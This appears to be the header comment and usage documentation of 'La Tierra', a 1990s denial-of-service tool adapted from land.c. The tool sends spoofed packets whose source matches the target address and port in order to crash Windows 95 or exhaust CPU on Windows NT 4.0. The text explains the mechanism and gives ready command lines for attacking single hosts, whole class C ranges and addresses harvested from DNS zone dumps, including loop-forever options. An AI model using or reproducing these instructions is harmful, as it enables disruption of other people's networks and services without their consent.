    La Tierra v1.0b  - by MondoMan (KeG), elmondoat_private
           Modified version of land.c by m3lt, FLC
    To compile latierra, type:
     gcc latierra.c -o latierra
     To see the help screen, use 'latierra -h'
    This program crashes Windows 95, and will cause Windows NT
    4.0, SP3 to utilize a high percentage of CPU.  In some
    instances, CPU usage reaches %100.
    
    land.c description:
    land.c sends a spoofed packet with the SYN flag from the
    the same IP and port number as the destination.  For
    example, if you want to do a DoS on 1.1.1.1, port 80, it would
    spoof 1.1.1.1 port 80 as the source.  The problem is with
    NT4 SP3, however, is once you issue this packet to a
    port, NT4 SP3 appears to ignore all other attempts -
    UNTIL ...
    
                         La Tierra!
    
    La Tierra description:
    
    La Tierra basically works by sending NT the same packet
    used in land.c but to more than one port (if specified).
    It doesn't appear to matter if the port is opened or closed!
    NT doesn't appear to let this happen again on the same port
    successively, but you simply change ports, and you can easily
    go back to the original port and it'll work again. What's even
    more interesting is the fact that port 139 works with this.
    You would have thought - I'll leave that alone for now!
    While testing, I used a Compaq dual Intel Pentium Pro 200, and
    was able to take up to %64 CPU.  With one processor disabled,
    CPU usage was %100.  NT4 SP3 doesn't seem to crash, just needs
    time to recover, even with one spoofed packet.
    Features include:
     - Ability to launch a DoS on an entire class C address
     - Specify the beginning and ending port range
     - Specify the number of loops or make it loop forever!
     - User defined TCP flags: fin, syn, reset, push, ack,
       and urgent
     - Other IP options such as window size, time-to-live,
       sequence_number, and message_type
     - Ability to read a DNS zone file for IP addresses
     - Ability to read a ASCII file containing IP addresses
    Command line options:
         - i ip_address
     DEFAULT: None
     RANGE: Valid IP Address
     OPTIONAL: No
     where ip_address is a valid ip_address, or if you wish to
     cycle through a class C address, the last octet is dropped
            and replaced with a '-'.  This option is required.  The
     source and destination address are obtained from this value.
     Rather than specifying an IP address, you may wish to create
            an ASCII file, or better yet, use nslookup to obtain all
            zone information for a particular domain.  The ASCII file
     simply contains a list of IP addresses, one on each line.
     To get a DNS file, simply use nslookup, and the
     "ls -d somedomain.com > filename.txt" command.  You can use
     'latierra -n' to read more about the command sequence for
     nslookup.
     In both types of files, lines that begin with ';' or '[' are
     ignored. In DNS files, only 'A' records are processed.
     Examples:
        Single IP Address:
      -i 10.1.2.1
        Class C range:
      -i 10.1.2.-
        ASCII file:
      -i list=filename.txt
        DNS file:
      -i zone=filename.txt
         -b beginning_port_number
     DEFAULT: None
     RANGE: Positive Integer
     OPTIONAL: No
     where this value is the port_number that latierra will use. If
     no ending_port_number is specified, ending_port_number is then
     equal to this value.  Valid range is 1 to 0xFFFF
         -e ending_port_number
     DEFAULT: If not specified, equal to beginning_port_number
     RANGE: Positive Integer
     OPTIONAL: Yes
     is the highest port number in the range to cycle through.
     Example:
      -i 10.1.2.1 -b 23 -e 80
     will start at port 23 and increment up to port 80.  You can
            delay the next increment by using the -s option.  Valid range
     is 1 to 0xFFFF
         -s seconds_between_spoofs
     DEFAULT: 1
     RANGE: Positive Integer
     OPTIONAL: Yes
     You may want to control the seconds between spoofs.  If you
            specify a zero, no delays occur.
     In the below example, the spoof will between ports 23 and 80,
     every 3 seconds.
      -i 10.1.2.1 -b 23 -e 80 -s 3
         -l number_of_loops
    
     DEFAULT: 1
     RANGE: Positive Integer, -5 loops forever
     OPTIONAL: Yes
    
     This option if set greater than 1, will cause a repeat of the
            cycle.  For example:
      -i 10.1.2.1 -b 23 -e 80 -s 0 -l 8
     will cause latierra to go through ports 23 through 80 and
     repeat the process 8 times, with no delay.  Look at the
     following example:
      -i 10.1.2.- -b 23 -e 80 -s 0 -l 8
     latierra will start at 10.1.2.1, port 23 through 80, then
     increment to 10.1.2.2, port 23 through 80, and so on until
     it gets to 10.1.2.254, in which case it will repeat the
     same procedure over again 8 times.
     By specifying a value of -5 for this option, latierra will
     loop forever, until you manually stop the process.  In the
     last example above, the procedure would never end.  When it
     reaches 10.1.2.254, it falls back to 10.1.2.1 and start
     over again from there.
     Other examples:
      -i 10.1.2.1 -b 139 -s 0 -l -5
      -i 10.1.2.- -b 80 -s 5 -l 10
    
         -t tcp_flags
     DEFAULT: sp   (SYN, PUSH)
     RANGE: valid character set (see below)
     OPTIONAL: Yes
     this option sets the various TCP flags, which include:
      f = fin  s = syn  r = reset
      p = push a = ack  u = urgent
     Example:
      -i 10.1.2.1 -b 139 -t apu -s 0
      To set the ack, push, and urgent flag
         -v time_to_live_value
     DEFAULT: 0xFF (255 decimal)
     RANGE: Positive Integer
     OPTIONAL: Yes
     Sets the time to live value.
         -p protocol_value
     DEFAULT: 6 (tcp)
     RANGE: Positive Integer
     OPTIONAL: Yes
     Sets the protocol value in the IP header.  To see a list of
      available protocols, run "latierra -p".
         -w window_size_value
     DEFAULT: 0xFFFF (65000 decimal)
     RANGE: Positive long value
     OPTIONAL: Yes
         -q tcp_sequence_number_value
     DEFAULT: 0xF1C
     RANGE: Positive integer
     OPTIONAL: Yes
         -o 1 supress_additional_output
     DEFAULT: messages are printed for status
     RANGE: None
     OPTIONAL: Yes
     If you don't want to see the messages during the process,
     simply use this "-o 1" to turn them off.
    Final Note:
    Please use this program for in-house testing purposes only.
    Just because your sending spoofed packets, doesn't mean you
    can't be traced.
    Good luck.
